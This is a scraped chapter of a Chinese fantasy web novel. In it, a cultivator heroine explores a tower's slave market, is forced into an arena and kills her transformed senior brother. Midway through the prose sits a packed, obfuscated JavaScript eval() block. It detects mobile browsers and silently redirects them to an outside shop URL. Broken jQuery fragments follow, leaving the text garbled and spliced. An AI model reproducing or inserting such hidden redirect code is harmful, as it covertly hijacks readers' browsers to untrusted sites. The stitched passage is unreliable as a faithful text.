文趣网 > 其他小说 > 与大师兄绑定双向攻略系统后 > 24. 九天(三)
    荀木泽情急之下伸手格挡,为其他人争取了躲避的时间,让魏云楼的手臂没有被砍断。

    荀木泽的手臂飞出数丈仍然没有见血也没有痛感,但他此时在法相压制下无法使用灵力,使得手臂一时无法再生。

    他们第一次如此狼狈地奔逃。

    “啊!!”

    跑在最后的年轻人被一刀削去了半边身子,鲜血将他的水色衣袍染得不堪入目。

    慕韶景下意识转头看去,看见他声嘶力竭地喊:“快跑!!快跑啊!!!他们要抽人脊骨做——”

    他的头颅应声滚落,一根雪白的脊骨被抽出,屠夫停下来,细细打量着。

    进来不过几步的距离在此时不知为何无限遥远,四周只有不见五指的黑,直到年轻人死去,三人才终于踩到实地。

    离开那片黑暗时慕韶景的灵力瞬时恢复正常,凝聚在掌心的灵力脱手而出,默杀将十八层入口结界炸出数道裂痕。

    门口的“哑巴”守卫看见三人鲜血淋漓地冲出来,终于说出了今天第一句话:“你们——”

    心垣展开,灵气压迫之下两个守卫无法发声,只能转动眼珠盯着三人。

    “师兄,伤怎么样?”

    慕韶景一掌疗愈灵力输送来,丰沛得魏云楼险些承受不住吐出一口血:“没什么大碍,不要担心。”

    慕韶景忘不了那剔骨般的声音,一边给魏云楼输送疗愈灵力,一边问荀木泽:“荀师兄,你怎么样?”

    荀木泽已经将手臂修复好,看不出半点伤痕:“我无事。我主修化生道,我来吧。”

    慕韶景站起身来,“哑巴”守卫指了指自己,示意她撤去心垣,他有话要说。

    回应他的是施加在心垣之内的真幻灵技。

    “十八层是九天认可的屠杀活人的地方?”

    两个守卫垂着头,异口同声地回答:“不是,是买卖奴隶的地方,大多是蚀鬼,活人通常会单独运往九天天坑。”

    慕韶景想起年轻人说在十八层最好不要瞬影,因为“会掉入奇怪的地方”。

    看起来是他特意把他们带入“奇怪的地方”的,可他自己却在那里死了。

    “运往九天天坑做什么?”

    “不知道。”

    年轻人死前声嘶力竭的模样总是在慕韶景眼前浮现。

    那时他没能把话说完,慕韶景回头看的那一眼,却捕捉到了他没能发出声音的口型。

    九天要抽活人的脊骨做罗藏伞。

    罗藏伞是九天的镇宗神器,四大仙门的镇宗神器于四百年前一同丢失,四大仙门各自强撑了四百年,实力大不如前,似乎有些着急了。

    “我要再探一探珍宝楼。”

    魏云楼抬起眼帘,五感巅峰让他对疼痛的感知格外清晰,脖颈已经布上一层薄汗:“哪一层?”

    慕韶景道:“每一层。”

    “我陪你去。”

    “不需要。”

    魏云楼被这三个字刺得眼睫一颤,慕韶景觉察出来,补充道:“我不怕受伤,我也不怕死。”

    这是慕韶景第二次对魏云楼说这句话,第一次为了找寻明昭衡替代品的下落和石钧对上,第二次是为了救她的师兄庄瀛。

    他虽然也是她的同门师兄,却从来都无法,也没有资格阻拦她。

    “荀师兄,你先带魏师兄找一家客栈休息,记得避开罗浮安法相的范围。”慕韶景撤去心垣与真幻,“晚些我会来找你们。”

    慕韶景伪造通行符牌再次进入十八层结界,提前运转好灵力,却没再见到屠杀活人的诡异场景。

    如守卫所说,十八层是买卖奴隶的场所,大多是蚀鬼,来者非富即贵,开出的价格不菲。

    然而无论是买家卖家甚至是被买卖的奴隶,其中都没有庄瀛的影子。

    庄瀛和那个不知在何处的屠杀场一样,像是从这座珍宝楼里凭空消失,甚至从未存在过。

    那个被抽出脊骨死去的年轻人也没有人过问。

    慕韶景第一次相信人们所说的,虽然九天的镇宗神器罗藏伞是主防御、护佑一方的神器,但九天依靠猎杀蚀鬼、与众仙门征战起家,是最轻视人命的。

    在九天,或许谁死了都不会有人过问。

    慕韶景站在栏边看了一会儿下方众人猎杀蚀鬼的场景,准备离开,转身时发现身旁不知何时多了一道高瘦身影。

    “十七层斗兽场。”罗浮安淡淡开口,“不多看看吗?”

    慕韶景回头看向下方,一只蚀鬼手中长剑被击飞数丈,它放弃了武器,张嘴死死咬住对手的手臂。

    “斗兽场?”慕韶景微一挑眉,“你说那些蚀鬼是‘兽’吗?”

    “人也是啊。”罗浮安似乎对她的说法很不满意,“斗兽场中可以人对人,人对蚀鬼,蚀鬼对蚀鬼,只要得胜。”

    “得胜又如何?”

    “胜了就可以活,败了就必须死。”罗浮安抬眸看向她,“神武驭灵两道天才,不下去看看?”

    “没兴趣,没心情,没时间。”

    慕韶景转身要走,听见罗浮安轻笑一声,便又停步看他。

    “看来我说的还不够明白。”罗浮安抬指朝她点来,“斗兽场的兽是没有选择余地的,它们被迫上场,只能为了活下去厮杀。”

    法相灵技悄无声息地施展,十七层轰然崩塌,慕韶景瞬息之间坠入一片黑暗,只有头顶一片遥远的天光。

    罗浮安的声音在远处听起来如轰隆雷响:“这就是那位一剑劈碎太上结界的天才。谁下注?”

    慕韶景此时就像在井底,井口有一圈人围上来,低声讨论着:“听说她神武驭灵两道都很强……”

    “可法相之下没有人能使用灵力,不用灵技靠肉搏的话,她一个小姑娘不行吧?”

    “神武厉害的人体脉肯定也强,不会太弱……”

    “可听说她体脉只有满境,兵主才是巅峰,这里没有兵器……”

    “赢的办法有很多,我赌一把,输了不过费点钱打水漂。”

    数百片金叶子从井口落进来,铺在慕韶景脚边。

    慕韶景在昆仑时从不关心外界的事,出了昆仑才知道她一剑劈碎太上结界的事早在修真界传得沸沸扬扬。

    有几个人跟注,金叶子一堆一堆从她头顶洒下来,看起来是要赌她赢。

    最后一片金叶子落下时,罗浮安问道:“还有没有人跟注?”

    一圈人还在悄声讨论,却没有金叶子再落下来。

    罗浮安讥嘲地轻笑道:“看来在九天,没有多少人愿意赌你赢啊。”

    慕韶景一直在伸张五指尝试连通灵脉,闻言冷笑:“我需要用这种方式向你证明我能赢吗?”

    罗浮安也冷笑道:“这世间强者很多,天赋异禀的人也不在少数。很快你会为你的自傲付出代价。”

    话音落,斗兽场中亮起火光,慕韶景扫视一圈四周,才发现这不是一口井,而是一处天坑。

    建筑下的天坑?

    慕韶景蹙眉思索,却听对面传来碾碎金叶的轻响。

    对方脚下的金叶子很多,在地面铺了厚厚一层,他抬步踩过来,金叶被碾作碎片,他手中脊骨制成的长鞭泛着森寒冷光。

    蚀鬼庄瀛不甚在意地抬眸,在看见慕韶景时轻轻蹙眉。

    慕韶景唤道:“师兄。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571834|202257||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“阿景,从前我说人外有人,让你多出去历练历练,还不信你师兄。”蚀鬼庄瀛抬手抚过脊骨长鞭,微微弯起嘴角,“现在好了吧?我们家揍人最狠的小师妹在外面被别人伤了。”

    算是熟悉的语调,全然陌生的神色与动作。

    慕韶景能够预料到他下一句话会是什么,要么是“让你多练练防御不愿听,这次长教训了吧”,要么是“伤你的人是谁?叫你楚师姐揍他一顿”。

    可蚀鬼庄瀛瞥了一眼地上的金叶子,开口说的却是:“论攻伐,我是无论如何也比不上你的。但这次我来与你过招,他们却赌我赢。”

    他挥手甩出骨鞭,鞭身如滑蛇直朝慕韶景脖颈缠去,被她一跃避开,她站稳脚步,在骨鞭再次袭来时猛地拽住它。

    这瞬间慕韶景的十二灵脉连通,灵力汹涌着仿佛要冲出灵枢,将她的愤怒或悲伤遮掩。

    空枢七境晋升至八境,与九境满境只差一线之隔。

    驭灵道晋升造成灵气波动横扫四周,法相灵技制造出的笼罩珍宝楼的屏障也在这一刻显形,在灵气冲撞下甚至有一瞬震颤。

    “天哪她晋升我才看出来她驭灵道还差一境就圆满了,再晋升会不会能减轻法相的压制,能够施展灵技?”

    有人隐隐兴奋起来,询问罗浮安还能不能跟注。

    罗浮安靠在栏边,饶有兴致地托腮盯着下方:“跟啊,只要他们还没分出胜负,你们就可以一直下注。”

    “直到他们中有人死。”

    人群一阵骚动,讨论起究竟要赌谁赢。

    “我赌她还能晋升,驭灵道毕竟是神武道的克星,我就赌她能施展灵技。”

    “没有人能晋升那么快的,而且驭灵道圆满和神武道大成差得不是一点半点。”

    “她不是神武驭灵两道天才吗?晋升快点很正常吧,不然叫什么天才?”

    “可她没有武器啊,那边那小子可是有武器的,还是尊者亲自给的武器,会不会早就内定……”

    金叶子如同秋冬枯叶般自天坑上方簌簌下落,慕韶景问:“师兄,你很想赢吗?”

    蚀鬼庄瀛道:“你问这话,就像问我想不想死一样。”

    慕韶景于是问:“师兄,你愿意去死吗?”

    蚀鬼庄瀛握住骨鞭的手微微一顿:“阿景,我们是不是太久没聊天了?我已经听不懂你在说什么了。”

    在他顿住的瞬间,骨鞭被一剑斩断,又在剑影中碎成无数片。

    “我们确实太久不见了,师兄。”慕韶景提剑站定,无波无澜地说,“窥天与我契合到不需要灵力就可以召唤,连这点你也忘了。”

    蚀鬼庄瀛活动活动手腕,问:“所以,阿景,你要我死吗?”

    慕韶景轻轻摇头:“师兄,我是来救你的。”

    “可你要救的人已经死了。”蚀鬼庄瀛嗤笑声,“人与蚀鬼无法共存,我站在这里,就代表真正的庄瀛已经死了。”

    慕韶景默然站在原地,没有抬剑。

    罗浮安施施然提醒道:“蚀鬼是没有人性的,你犹豫要不要杀他,他可能在心里好好谋算要怎么杀你呢。”

    慕韶景的确犹豫了。

    她在说服自己,杀死一个庄瀛模样的偶人,并不等同于对自己的师兄下手。

    犹豫的念头在庄瀛无声开口时彻底消散。

    “我愿意去死。”他微微笑着,用口型对她说,“杀了我吧,阿景。”

    窥天剑穿透庄瀛胸膛的瞬间,强大如海啸席卷的灵气荡开,将珍宝楼十七层的一切,包括法相屏障尽数击碎。

    这灵气波动昭示慕韶景的十二灵脉彻底连通,空枢九境,驭灵道圆满。